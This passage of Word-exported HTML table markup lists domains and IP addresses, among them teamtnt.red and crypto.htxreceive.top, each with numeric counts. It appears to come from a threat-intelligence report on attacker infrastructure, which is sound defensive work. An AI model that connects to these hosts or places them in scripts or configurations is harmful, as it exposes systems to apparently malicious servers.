accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">py2web.store</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">829</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">22,501</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">45.133.203.192</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">622</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">17</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">29,552</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><span class=\"SpellE\"><b><span lang=\"EN-US\">crypto.htxreceive.top</span></b></span><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:\n 宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">289</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">81</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">5</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">371,934</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">en2an.top</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">232</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">3,028</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">194.145.227.21</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">195</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">1</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">455</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">104.192.82.138</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">145</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">30</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">4</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">8,533</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt\">\n <td width=\"159\" nowrap=\"\" style=\"width:119.25pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><span class=\"SpellE\"><b><span lang=\"EN-US\">teamtnt.red</span></b></span><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-bidi-font-family:\n 宋体\"><o:p></o:p></span></b></p>\n </td>\n <td width=\"85\" nowrap=\"\" style=\"width:63.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">104</span></p>\n </td>\n <td width=\"96\" nowrap=\"\" style=\"width:71.9pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"113\" nowrap=\"\" style=\"width:3.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3</span></p>\n </td>\n <td width=\"100\" style=\"width:74.85pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">694</span></p>\n </td>\n 